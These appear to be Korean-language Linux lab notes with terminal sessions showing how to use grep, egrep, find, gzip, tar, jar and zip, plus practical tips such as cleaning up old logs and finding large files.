# grep -v root /etc/passwd    /* -v: inverse, 파일에서 검색 문자열을 제외하고 나머지 출력 */
# grep -i root /etc/passwd    /* -i: ignore case, 파일에서 검색 문자열의 대소문자를 구분하지 않음 */
# grep -w root file1     /* -w: word , 단어의 일부분이 아닌 단어의 전체가 일치하는 경우 출력 */
# grep --color root /etc/passwd

[root@linux220 /etc]# grep -l root /etc/hosts /etc/passwd /etc/group
/etc/passwd
/etc/group
[root@linux220 /etc]# grep -n root /etc/group
1:root:x:0:root
2:bin:x:1:root,bin,daemon
3:daemon:x:2:root,bin,daemon
4:sys:x:3:root,bin,adm
5:adm:x:4:root,adm,daemon
7:disk:x:6:root
11:wheel:x:10:root
[root@linux220 /etc]# grep -v root /etc/passwd
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
fedora:x:500:500:fedora:/home/fedora:/bin/bash
user01:x:501:501::/home/user01:/bin/bash
[root@linux220 /etc]# grep -i root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
[root@linux220 /etc]# grep --color root /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin


[root@linux220 /etc]# grep -nv nologin /etc/passwd //내가 따로해본것
1:root:x:0:0:root:/root:/bin/bash
6:sync:x:5:0:sync:/sbin:/bin/sync
7:shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
8:halt:x:7:0:halt:/sbin:/sbin/halt
10:news:x:9:13:news:/etc/news:
41:fedora:x:500:500:fedora:/home/fedora:/bin/bash
42:user01:x:501:501::/home/user01:/bin/bash


(패턴 사용법) "# grep OPTIONS PATTERN file1"
* # grep 'ro*t' /etc/passwd //없거나 모든단어
. # grep 'no...y' /etc/passwd //반드시 존재해야하는 모든단어
^root # grep '^root' /etc/passwd //라인의 처음에 root로 시작하는
root$ # grep 'root$' /etc/group //라인의 끝에 root로 끝나는
[abc] # grep 'user0[123]' /etc/passwd //user01 or user02 or user03


[root@linux220 /etc]# grep 'ro*t' /etc/passwd
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
[root@linux220 /etc]# grep 'no...y' /etc/passwd
nobody:x:99:99:Nobody:/:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
[root@linux220 /etc]# grep '^root' /etc/passwd
root:x:0:0:root:/root:/bin/bash
[root@linux220 /etc]# grep 'root$' /etc/group
root:x:0:root
disk:x:6:root
wheel:x:10:root
[root@linux220 /etc]# grep 'user0[123]' /etc/passwd
user01:x:501:501::/home/user01:/bin/bash
[root@linux220 /etc]#



grep 명령어 옵션 실습
[root@linux220 ~]# useradd FEDORA
[root@linux220 ~]# passwd FEDORA
Changing password for user FEDORA.
New UNIX password:
BAD PASSWORD: it is based on a dictionary word
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
[root@linux220 ~]# grep fedora /etc/passwd
fedora:x:500:500:fedora:/home/fedora:/bin/bash
[root@linux220 ~]# grep -i fedora /etc/passwd //-i: ignore case
fedora:x:500:500:fedora:/home/fedora:/bin/bash
FEDORA:x:502:502::/home/FEDORA:/bin/bash


(실무 예) 환경 파일에 등록
# alias grep='grep -i' => $HOME/.bashrc
# alias grep='grep -i --color' => $HOME/.bashrc < 검색된 단어에 색상을 입혀 가독성을 높여준다 >

# vi ~/.bashrc
alias grep='grep -i --color'
# . ~/.bashrc
# alias grep

그림1



[root@linux220 ~]# grep -l root /etc/group /etc/passwd
/etc/group
/etc/passwd

[root@linux220 ~]# vi file.txt
[root@linux220 ~]# grep -w root file.txt
root hello
[root@linux220 ~]# cat file.txt
root hello
roothello
testroottest
helloroot

[root@linux220 ~]# grep -l "network-function" /etc/rc.d/rc?.d/* //와일드카드문자 ?
/etc/rc.d/rc0.d/K90network
/etc/rc.d/rc1.d/K90network
/etc/rc.d/rc2.d/S10network
/etc/rc.d/rc3.d/S10network
/etc/rc.d/rc4.d/S10network
/etc/rc.d/rc5.d/S10network
/etc/rc.d/rc6.d/K90network
[root@linux220 ~]# cat -n /etc/rc.d/rc5.d/S10network | grep network-function
    42  . ./network-functions

[root@linux220 ~]# cat /var/log/messages
Apr 18 17:07:07 linux220 syslogd 1.4.1: restart.
Apr 18 17:07:58 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:09:59 linux220 init: Trying to re-exec init
Apr 18 17:35:33 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:36:34 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:37:14 linux220 last message repeated 9 times
Apr 18 17:43:28 linux220 kernel: atkbd.c: Unknown key pressed (translated set 2, code 0x72 on isa0060/serio0).
Apr 18 17:43:28 linux220 kernel: atkbd.c: Use 'setkeycodes 72 <keycode>' to make it known.
Apr 18 17:43:28 linux220 kernel: atkbd.c: Unknown key released (translated set 2, code 0x72 on isa0060/serio0).
Apr 18 17:43:28 linux220 kernel: atkbd.c: Use 'setkeycodes 72 <keycode>' to make it known.
Apr 18 17:46:04 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:46:44 linux220 last message repeated 9 times
[root@linux220 ~]# cat /var/log/messages | grep 'Apr 18 17:3'
Apr 18 17:35:33 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:36:34 linux220 avahi-daemon[4117]: Invalid query packet.
Apr 18 17:37:14 linux220 last message repeated 9 times

[root@linux220 ~]# ps
  PID TTY          TIME CMD
 4625 pts/1    00:00:00 bash
10193 pts/1    00:00:00 ps
[root@linux220 ~]# ps -ef | grep 4625
root      4625  4620  0 16:10 pts/1    00:00:00 bash
root     10194  4625  0 17:53 pts/1    00:00:00 ps -ef
root     10195  4625  0 17:53 pts/1    00:00:00 grep -i --color 4625
[root@linux220 ~]# ps -ef | grep bash
root      4348  4312  0 16:02 ?        00:00:00 /usr/bin/ssh-agent /bin/sh -c exec -l /bin/bash -c "/usr/bin/dbus-launch --exit-with-session /etc/X11/xinit/Xclients"
root      4625  4620  0 16:10 pts/1    00:00:00 bash
root     10197  4625  0 17:53 pts/1    00:00:00 grep -i --color bash


파일내의 특정 패턴 여러개 검색하기

egrep(Extended grep) CMD
# cat /var/log/messages | egrep -i '(warn|err|crit|alert|emerg)'

fgrep(Fixed grep) CMD
# fgrep '^root' file1

[root@linux220 ~]# egrep "fedora|user01" /etc/passwd
fedora:x:500:500:fedora:/home/fedora:/bin/bash
user01:x:501:501::/home/user01:/bin/bash

(실무 예) 로그 파일에서 에러 메세지 검색
# cat /var/log/messages | egrep –i '(warn|err|crit|alert|emerg)'

(실무) 특정한 단어를 제외하고 검색
# ps –ef | grep xinetd | grep –v grep

[root@linux220 ~]# ps -ef | grep xinetd
root      3918     1  0 16:01 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root     10289  4625  0 18:24 pts/1    00:00:00 grep -i --color xinetd
[root@linux220 ~]# ps -ef | grep xinetd | grep -v grep
root      3918     1  0 16:02 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid




find CMD
------------------------------------------------------------------------------
(형식1) # find / -name core -type [f|d] (# find / -name "*oracle*" -type f)
(형식2) # find / -user user01 -group class1
(형식3) # find / -mtime [-7|7|+7]
(형식4) # find / -perm [-755|755]
(형식5) # find / -size [-300M|300M|+300M]
(형식6) # find / -name core -type f -exec rm {} \;
------------------------------------------------------------------------------

[EX1] 파일 이름 검색(예: # find / -name core –type f)

[root@linux220 ~]# cd /test
[root@linux220 /test]# mkdir dir1 dir2
[root@linux220 /test]# touch dir1/file1 dir2/file3 file1 file2
[root@linux220 /test]# tree
.
|-- dir1
|   `-- file1
|-- dir2
|   `-- file3
|-- file1
`-- file2

2 directories, 4 files

[root@linux220 /test]# find . -name file1 //. 현재 폴더 아래에 있는
./dir1/file1
./file1

[root@linux220 /test]# find . -name file1 -type f
./dir1/file1
./file1




[root@linux220 /test]# find /home -user fedora -group fedora
/home/fedora
/home/fedora/dirtest
/home/fedora/dirtest/test2.txt
/home/fedora/.bash_history
/home/fedora/.bash_profile
/home/fedora/.bashrc
/home/fedora/.bash_logout
/home/fedora/.mozilla
/home/fedora/.mozilla/plugins
/home/fedora/.mozilla/extensions
/home/fedora/.viminfo
[root@linux220 /test]# find /home -user fedora -group fedora -ls
102001    2 drwxr-xrwx   4 fedora   fedora       1024  4월 15 19:50 /home/fedora
102009    1 drwxr-xrwx   2 fedora   fedora       1024  4월 15 17:37 /home/fedora/dirtest
102010    0 -rw-rw-r--   1 fedora   fedora          0  4월 15 17:27 /home/fedora/dirtest/test2.txt
102008    2 -rw-------   1 fedora   fedora       1131  4월 15 19:54 /home/fedora/.bash_history
102002    2 -rw-r--r--   1 fedora   fedora        176  1월 22  2009 /home/fedora/.bash_profile
102007    2 -rw-r--r--   1 fedora   fedora        124  1월 22  2009 /home/fedora/.bashrc
102006    2 -rw-r--r--   1 fedora   fedora         33  1월 22  2009 /home/fedora/.bash_logout
102003    2 drwxr-xr-x   4 fedora   fedora       1024  4월 12 03:38 /home/fedora/.mozilla
102004    2 drwxr-xr-x   2 fedora   fedora       1024  2월 18  2010 /home/fedora/.mozilla/plugins
102005    2 drwxr-xr-x   2 fedora   fedora       1024  2월 18  2010 /home/fedora/.mozilla/extensions
102012    1 -rw-------   1 fedora   fedora        779  4월 15 19:50 /home/fedora/.viminfo



# find /usr/share -name "*.log" -type f

/usr/share/texmf-var/web2c/jadetex.log
/usr/share/texmf-var/web2c/updmap.log
/usr/share/texmf-var/web2c/pdflatex.log
..... (중략) .....

[root@linux220 ~]# find /usr/share -name "*.log" -type f
/usr/share/doc/tux-3.2.18/sample.log




[root@linux220 /test/dir2]# touch file1 file2 file3 file4 file5 file6
[root@linux220 /test/dir2]# ls
file1  file2  file3  file4  file5  file6
[root@linux220 /test/dir2]# ls -l file*
-rw-r--r-- 1 root root 0  4월 18 18:39 file1
-rw-r--r-- 1 root root 0  4월 18 18:39 file2
-rw-r--r-- 1 root root 0  4월 18 18:39 file3
-rw-r--r-- 1 root root 0  4월 18 18:39 file4
-rw-r--r-- 1 root root 0  4월 18 18:39 file5
-rw-r--r-- 1 root root 0  4월 18 18:39 file6
[root@linux220 /test/dir2]# date
2016. 04. 18. (월) 18:40:14 KST
[root@linux220 /test/dir2]# touch -t 04171839 file2
[root@linux220 /test/dir2]# touch -t 04161839 file3
[root@linux220 /test/dir2]# touch -t 04151839 file4
[root@linux220 /test/dir2]# touch -t 04141839 file5
[root@linux220 /test/dir2]# touch -t 04131839 file6
[root@linux220 /test/dir2]# ls -l file*
-rw-r--r-- 1 root root 0  4월 18 18:39 file1
-rw-r--r-- 1 root root 0  4월 17 18:39 file2
-rw-r--r-- 1 root root 0  4월 16 18:39 file3
-rw-r--r-- 1 root root 0  4월 15 18:39 file4
-rw-r--r-- 1 root root 0  4월 14 18:39 file5
-rw-r--r-- 1 root root 0  4월 13 18:39 file6

[root@linux220 /test/dir2]# find . -mtime 3 -type f //3일전
./file4
[root@linux220 /test/dir2]# find . -mtime +3 -type f //4일전~
./file6
./file5
[root@linux220 /test/dir2]# find . -mtime -3 -type f //~2일전
./file3
./file2
./file1



[root@linux220 /test/dir2]# cd /test
[root@linux220 /test]# mkdir dir3
[root@linux220 /test]# cd dir3
[root@linux220 /test/dir3]# touch file{1,2,3,4,5,6,7,8}
[root@linux220 /test/dir3]# ll
합계 0
-rw-r--r-- 1 root root 0  4월 18 18:43 file1
-rw-r--r-- 1 root root 0  4월 18 18:43 file2
-rw-r--r-- 1 root root 0  4월 18 18:43 file3
-rw-r--r-- 1 root root 0  4월 18 18:43 file4
-rw-r--r-- 1 root root 0  4월 18 18:43 file5
-rw-r--r-- 1 root root 0  4월 18 18:43 file6
-rw-r--r-- 1 root root 0  4월 18 18:43 file7
-rw-r--r-- 1 root root 0  4월 18 18:43 file8
[root@linux220 /test/dir3]# chmod 000 file1
[root@linux220 /test/dir3]# chmod 100 file2
[root@linux220 /test/dir3]# chmod 200 file3
[root@linux220 /test/dir3]# chmod 300 file4
[root@linux220 /test/dir3]# chmod 400 file5
[root@linux220 /test/dir3]# chmod 500 file6
[root@linux220 /test/dir3]# chmod 600 file7
[root@linux220 /test/dir3]# chmod 700 file8
[root@linux220 /test/dir3]# ll
합계 0
---------- 1 root root 0  4월 18 18:43 file1
---x------ 1 root root 0  4월 18 18:43 file2
--w------- 1 root root 0  4월 18 18:43 file3
--wx------ 1 root root 0  4월 18 18:43 file4
-r-------- 1 root root 0  4월 18 18:43 file5
-r-x------ 1 root root 0  4월 18 18:43 file6
-rw------- 1 root root 0  4월 18 18:43 file7
-rwx------ 1 root root 0  4월 18 18:43 file8
[root@linux220 /test/dir3]# find . -perm 600 -type f -ls //최소한 600 퍼미션인 파일들 검색
2387491    0 -rw-------   1 root     root            0  4월 18 18:43 ./file7
[root@linux220 /test/dir3]# find . -perm -400 -type f -ls
2387492    0 -rwx------   1 root     root            0  4월 18 18:43 ./file8
2387491    0 -rw-------   1 root     root            0  4월 18 18:43 ./file7
2387490    0 -r-x------   1 root     root            0  4월 18 18:43 ./file6
2387489    0 -r--------   1 root     root            0  4월 18 18:43 ./file5

[root@linux220 /test/dir3]# cp /etc/passwd file10
[root@linux220 /test/dir3]# cp /etc/services file11
[root@linux220 /test/dir3]# ll
합계 364K
---------- 1 root root    0  4월 18 18:43 file1
-rw-r--r-- 1 root root 2.0K  4월 18 18:46 file10
-rw-r--r-- 1 root root 354K  4월 18 18:47 file11
---x------ 1 root root    0  4월 18 18:43 file2
--w------- 1 root root    0  4월 18 18:43 file3
--wx------ 1 root root    0  4월 18 18:43 file4
-r-------- 1 root root    0  4월 18 18:43 file5
-r-x------ 1 root root    0  4월 18 18:43 file6
-rw------- 1 root root    0  4월 18 18:43 file7
-rwx------ 1 root root    0  4월 18 18:43 file8
[root@linux220 /test/dir3]# unalias ls
[root@linux220 /test/dir3]# ll (# ls -l)
합계 364
---------- 1 root root      0  4월 18 18:43 file1
-rw-r--r-- 1 root root   1986  4월 18 18:46 file10
-rw-r--r-- 1 root root 362031  4월 18 18:47 file11
---x------ 1 root root      0  4월 18 18:43 file2
--w------- 1 root root      0  4월 18 18:43 file3
--wx------ 1 root root      0  4월 18 18:43 file4
-r-------- 1 root root      0  4월 18 18:43 file5
-r-x------ 1 root root      0  4월 18 18:43 file6
-rw------- 1 root root      0  4월 18 18:43 file7
-rwx------ 1 root root      0  4월 18 18:43 file8

[root@linux220 /test/dir3]# find . -size 1986c -type f  //size=1986
./file10
[root@linux220 /test/dir3]# find . -size 362031c -type f //size=362031
./file11
[root@linux220 /test/dir3]# find . -size -1986c -type f  //size<1986
./file3
./file8
./file2
./file7
./file4
./file1
./file6
./file5
[root@linux220 /test/dir3]# find . -size +1986c -type f  //size>1986
./file11



[root@linux220 /test]# cd /test
[root@linux220 /test]# find . -name file1 -type f
./dir3/file1
./dir1/file1
./file1
./dir2/file1
[root@linux220 /test]# find . -name file1 -type f -ls
2387485    0 ----------   1 root     root            0  4월 18 18:43 ./dir3/file1
2387475    0 -rw-r--r--   1 root     root            0  4월 18 18:34 ./dir1/file1
2387477    0 -rw-r--r--   1 root     root            0  4월 18 18:34 ./file1
2387479    0 -rw-r--r--   1 root     root            0  4월 18 18:39 ./dir2/file1
[root@linux220 /test]# find . -name file1 -type f -exec chown user01 {} \;
[root@linux220 /test]# find . -name file1 -type f -ls
2387485    0 ----------   1 user01   root            0  4월 18 18:43 ./dir3/file1
2387475    0 -rw-r--r--   1 user01   root            0  4월 18 18:34 ./dir1/file1
2387477    0 -rw-r--r--   1 user01   root            0  4월 18 18:34 ./file1
2387479    0 -rw-r--r--   1 user01   root            0  4월 18 18:39 ./dir2/file1
[root@linux220 /test]# find . -name file1 -type f -exec chmod 640 {} \;
[root@linux220 /test]# find . -name file1 -type f -ls
2387485    0 -rw-r-----   1 user01   root            0  4월 18 18:43 ./dir3/file1
2387475    0 -rw-r-----   1 user01   root            0  4월 18 18:34 ./dir1/file1
2387477    0 -rw-r-----   1 user01   root            0  4월 18 18:34 ./file1
2387479    0 -rw-r-----   1 user01   root            0  4월 18 18:39 ./dir2/file1
[root@linux220 /test]# find . -name file1 -type f -exec rm -f {} \;
[root@linux220 /test]# find . -name file1 -type f



(실무 예) 오래된 로그 기록 삭제
한달(시스템 생성일 ~ 30일)이 지난 로그파일은 그 의미를 상실하게 된다. 따라서 일정 시간이 지난 로그파일의 경
우 find라는 명령어를 이용하여 파일을 주기적으로 삭제해 주도록 한다.

# find /Log_dir1 -name "*.log" -type f -mtime +30 -exec rm –f {} \;
# find /Log_dir2 -name "*.log" -type f -mtime +60 -exec rm –f {} \;


(실무 예) 파일시스템이 갑자기 풀(Full) 나는 경우

# find /var -mtime -2 -size +1G -type f
# find /var -mtime -2 -size +512M -type f
# find /var -mtime -2 -size +256M -type f
# find /var -mtime -2 -size +128M -type f
/var/server/log/file.log

 [참고] lsof(list open file)
 # lsof | grep /var/server/log/file.log


(실무 예) 에러메세지가 들어 있는 startup script 검색

# /was/bin/startup.sh
..... Server Error .....
# find /was –type f –exec grep –l 'Server Error' {} \;
/was/conf/server.xml
# vi /was/conf/server.xml
/Server Error
......
if 조건 ; then
else
 echo "Server Error"
fi


(실무 예) 부팅시에 에러메세지 제어
부팅 중간에 .... Server Error .....

# find /etc/rc?.d/* -type f –exec grep –l 'Server Error' {} \;
/etc/rc5.d/init.d/S90network
# vi /etc/rc5.d/init.d/S90netwok
/Server Error


(실무 예) 에러 메세지를 검색하는 방법
http://www.google.co.kr
-> site:.redhat.com "Server Error"
-> 가상화 .pdf
-> 가상화 .ppt
-> "Server Error1" AND "Server Error2" (AND/OR)
-> "Server Error1"



[root@linux220 ~]# find . -type f -exec grep -l 'user01' {} \;
./.bash_history
./mbox
./user.list



# find / -mtime -10 -a mtime +2 //3일전부터 9일전까지 -a:and -o:or

[root@linux220 ~]# find /etc -type f -exec grep -l "PASS*" {} \;
/etc/sudoers
/etc/profile.d/gnome-ssh-askpass.sh
/etc/profile.d/gnome-ssh-askpass.csh
/etc/squid/squid.conf.default
/etc/squid/squid.conf
/etc/Muttrc
/etc/services
/etc/sysconfig/hsqldb
/etc/sysconfig/authconfig
/etc/udev/rules.d/60-libsane.rules
/etc/vmware-tools/installer.sh
/etc/dbus-1/system.d/wpa_supplicant.conf
/etc/login.defs
/etc/rc.d/init.d/hsqldb
/etc/rc.d/init.d/functions
/etc/libuser.conf
/etc/termcap
/etc/gdm/XKeepsCrashing




gzip / gunzip

[명령어의 형식]
(압축) # gzip file1 (file1.gz)
(확인) # gunzip -c file1.gz (# zcat file1.gz)
(해제) # gunzip file1.gz (# gzip -d file1.gz)

[root@linux220 ~]# cd /test
[root@linux220 /test]# rm -rf /test/*
[root@linux220 /test]# cp /etc/services file1
[root@linux220 /test]# cp file1 file2
[root@linux220 /test]# cp file1 file3
[root@linux220 /test]# cp file1 file4
[root@linux220 /test]# ls
file1  file2  file3  file4
[root@linux220 /test]# gzip file1
[root@linux220 /test]# ls -l
합계 1184
-rw-r--r-- 1 root root  98859  4월 18 20:24 file1.gz
-rw-r--r-- 1 root root 362031  4월 18 20:24 file2
-rw-r--r-- 1 root root 362031  4월 18 20:24 file3
-rw-r--r-- 1 root root 362031  4월 18 20:25 file4

[root@linux220 /test]# gzip -9v file2
file2:   72.6% -- replaced with file2.gz
[root@linux220 /test]# ll
합계 928
-rw-r--r-- 1 root root  98859  4월 18 20:24 file1.gz
-rw-r--r-- 1 root root  99285  4월 18 20:24 file2.gz
-rw-r--r-- 1 root root 362031  4월 18 20:24 file3
-rw-r--r-- 1 root root 362031  4월 18 20:25 file4

[root@linux220 /test]# gzip -1v file3
file3:   69.4% -- replaced with file3.gz
[root@linux220 /test]# ll
합계 684
-rw-r--r-- 1 root root  98859  4월 18 20:24 file1.gz
-rw-r--r-- 1 root root  99285  4월 18 20:24 file2.gz
-rw-r--r-- 1 root root 110855  4월 18 20:24 file3.gz
-rw-r--r-- 1 root root 362031  4월 18 20:25 file4



[root@linux220 /test]# cp -r /var/lib dir
ls
[root@linux220 /test]# ls
dir  file1.gz  file2.gz  file3.gz  file4
[root@linux220 /test]# du -sh dir
44M     dir
[root@linux220 /test]# gzip -r dir
gzip: dir/hsqldb/lib/servlet.jar is not a directory or a regular file - ignored
gzip: dir/hsqldb/lib/hsqldb.jar is not a directory or a regular file - ignored
[root@linux220 /test]# du -sh dir
16M     dir

[root@linux220 /test]# gunzip -r dir
gunzip: dir/hsqldb/lib/servlet.jar is not a directory or a regular file - ignored
gunzip: dir/hsqldb/lib/hsqldb.jar is not a directory or a regular file - ignored
[root@linux220 /test]# du -sh dir
48M     dir



여러개의 파일을 하나로 압축할 수 있을까?

[root@linux220 /test]# cp /etc/services file1
[root@linux220 /test]# cp file1 file2
[root@linux220 /test]# cp file1 file3
[root@linux220 /test]# ls
file1  file2  file3
[root@linux220 /test]# gzip file*
[root@linux220 /test]# ls
file1.gz  file2.gz  file3.gz
[root@linux220 /test]# gunzip file*
[root@linux220 /test]# ls
file1  file2  file3



tar - Tape ARchive

tar(tape archive) 명령어는 여러개의 파일이나 디렉토리를 한 개의 묶음파일로 만들 때 사용한다.
또는 Tape 디바이스에 백업할 때 사용한다. tar 명령어는 c, x, v, f 옵션들을 사용할 수 있다.
한 개의 아카이빙 할 때는 c 옵션을 사용하고 f 옵션으로 만들어질 파일의 이름을 지정하면 된다.
아카이빙 파일의 내용을 볼때는 t 옵션을 사용하고 f 옵션으로 아카이빙 파일을 지정한다.
아카이빙 파일을 해제 할 때는 x 옵션을 사용하고 f 옵션으로 아카이빙파일을 지정하면 된다.

[명령어 형식] tar명령어 사용시 옵션에 -기호 생략가능
# tar cvf <묶음파일명> <파일명1> <파일명2> ... /* c: create, v: verbose, f: file or tape */
# tar tvf <묶음파일명>    /* t: content */
# tar xvf <묶음파일명>    /* x: extract */

-c 여러 개의 파일을 하나의 파일로 묶을 때
-v 생성과정을 보여 줌
-x 파일의 압축을 해제하고 풀어 낼 때
-r 파일 및 디렉토리 추가
-u tar 파일과 새로운 디렉토리 내의 파일과 비교하여 최근 파일을 아카이브에 추가
-t tar 파일의 내용을 확인할 때
-z gzip과 관련하여 압축이나 해제를 한꺼번에 할 때
-j, -l bzip2를 이용해서 압축한다.

# tar cvf file.tar file1 file2 file3
# tar tvf file.tar
# tar xvf file.tar

# tar cvzf file.tar.gz file1 file2 file3 (# tar cvzf file.tgz file1 file2 file3)
# tar tvzf file.tar.gz
# tar xvzf file.tar.gz    (# tar xvf file.tar.gz)

# tar cvjf file.tar.bz2 file1 file2 file3 (# tar cvjf file.tbz file1 file2 file3)
# tar tvjf file.tar.bz2
# tar xvjf file.tar.bz2    (# tar xvf file.tar.bz2)




[root@linux220 /test]# ll
합계 1080
-rw-r--r-- 1 root root 362031  4월 18 20:34 file1
-rw-r--r-- 1 root root 362031  4월 18 20:34 file2
-rw-r--r-- 1 root root 362031  4월 18 20:34 file3
[root@linux220 /test]# tar cvf file.tar file1 file2 file3
file1
file2
file3
[root@linux220 /test]# ls -l file*
-rw-r--r-- 1 root root 1095680  4월 18 20:59 file.tar
-rw-r--r-- 1 root root  362031  4월 18 20:34 file1
-rw-r--r-- 1 root root  362031  4월 18 20:34 file2
-rw-r--r-- 1 root root  362031  4월 18 20:34 file3
[root@linux220 /test]# rm -f file1 file2 file3
[root@linux220 /test]# ls
file.tar
[root@linux220 /test]# tar tvf file.tar
-rw-r--r-- root/root    362031 2016-04-18 20:34:41 file1
-rw-r--r-- root/root    362031 2016-04-18 20:34:43 file2
-rw-r--r-- root/root    362031 2016-04-18 20:34:45 file3
[root@linux220 /test]# tar xvf file.tar
file1
file2
file3
[root@linux220 /test]# ls file*
file.tar  file1  file2  file3



[root@linux220 /test]# ls
file1  file2  file3
[root@linux220 /test]# tar cvf file.tar file1 file2 file3
file1
file2
file3
[root@linux220 /test]# gzip file.tar
[root@linux220 /test]# ls
file.tar.gz  file1  file2  file3
[root@linux220 /test]# gunzip file.tar.gz (# gzip -d file.tar.gz)
[root@linux220 /test]# ls
file.tar  file1  file2  file3

[root@linux220 /test]# rm -f file?
[root@linux220 /test]# ls
file.tar
[root@linux220 /test]# tar xvf file.tar
file1
file2
file3
[root@linux220 /test]# ls
file.tar  file1  file2  file3

[root@linux220 /test]# rm -f file.tar
[root@linux220 /test]# ls
file1  file2  file3
[root@linux220 /test]# tar cvzf file.tar.gz file1 file2 file3
file1
file2
file3
[root@linux220 /test]# file file.tar.gz
file.tar.gz: gzip compressed data, from Unix, last modified: Mon Apr 18 21:07:36 2016
[root@linux220 /test]# rm -f file?
[root@linux220 /test]# ls
file.tar.gz

[root@linux220 /test]# tar xvzf file.tar.gz
file1
file2
file3
[root@linux220 /test]# rm -f file.tar.gz
[root@linux220 /test]# ls
file1  file2  file3
[root@linux220 /test]# tar cvjf filr.tar.bz2 file1 file2 file3
file1
file2
file3
[root@linux220 /test]# ls
file1  file2  file3  filr.tar.bz2
[root@linux220 /test]# file filr.tar.bz2
filr.tar.bz2: bzip2 compressed data, block size = 900k
[root@linux220 /test]# tar tvjf filr.tar.bz2
-rw-r--r-- root/root    362031 2016-04-18 20:34:41 file1
-rw-r--r-- root/root    362031 2016-04-18 20:34:43 file2
-rw-r--r-- root/root    362031 2016-04-18 20:34:45 file3
[root@linux220 /test]# rm -f file?
[root@linux220 /test]# ls
filr.tar.bz2
[root@linux220 /test]# tar xvjf filr.tar.bz2
file1
file2
file3
[root@linux220 /test]# ls
file1  file2  file3  filr.tar.bz2
[root@linux220 /test]# rm -f filr.tar.bz2

[참고] jar CMD
 [jar 명령어 형식] JDK/SDK 설치시 존재
 # jar cvf file.jar file1 file2 file3
 # jar tvf file.jar
 # jar xcf file.jar

tar는 아카이빙, jar는 아카이빙+컴프레스 동시에


[zip 명령어 형식] 윈도우와 호환 가능 (같은 알고리즘을 사용하기 때문)
# zip file.zip file1 file2 file3
# unzip -l file.zip
# unzip file.zip
[참고] 알집, 빵집, Winzip, ...

[root@linux220 /test]# ls
file1  file2  file3
[root@linux220 /test]# zip file.zip file1 file2 file3
  adding: file1 (deflated 73%)
  adding: file2 (deflated 73%)
  adding: file3 (deflated 73%)
[root@linux220 /test]# ls -l
합계 1376
-rw-r--r-- 1 root root 296887  4월 18 21:16 file.zip
-rw-r--r-- 1 root root 362031  4월 18 20:34 file1
-rw-r--r-- 1 root root 362031  4월 18 20:34 file2
-rw-r--r-- 1 root root 362031  4월 18 20:34 file3
[root@linux220 /test]# unzip -l file.zip
Archive:  file.zip
  Length     Date   Time    Name
 --------    ----   ----    ----
   362031  04-18-16 20:34   file1
   362031  04-18-16 20:34   file2
   362031  04-18-16 20:34   file3
 --------                   -------
  1086093                   3 files
[root@linux220 /test]# rm -rf file?
[root@linux220 /test]# unzip file.zip
Archive:  file.zip
  inflating: file1                  
  inflating: file2                  
  inflating: file3                  
[root@linux220 /test]# ls
file.zip  file1  file2  file3




(실무 예) 인터넷상에 받은 파일 압축 해제 방법

file.gz  ---- gzip -----> # gunzip file.gz  (# gzip -d file.gz)
file.bz2 ---- bzip2 ----> # bunzip2 file.bz2  (# bzip2 -d file.bz2)
file.tar.gz ---- tar/gzip -> # tar xvzf file.tar.gz  (# tar xvf file.tar.gz)
file.tgz
file.tar.bz2 ---- tar/bzip2-> # tar xvjf file.tar.bz2 (# tar xvf file.tar.bz2)
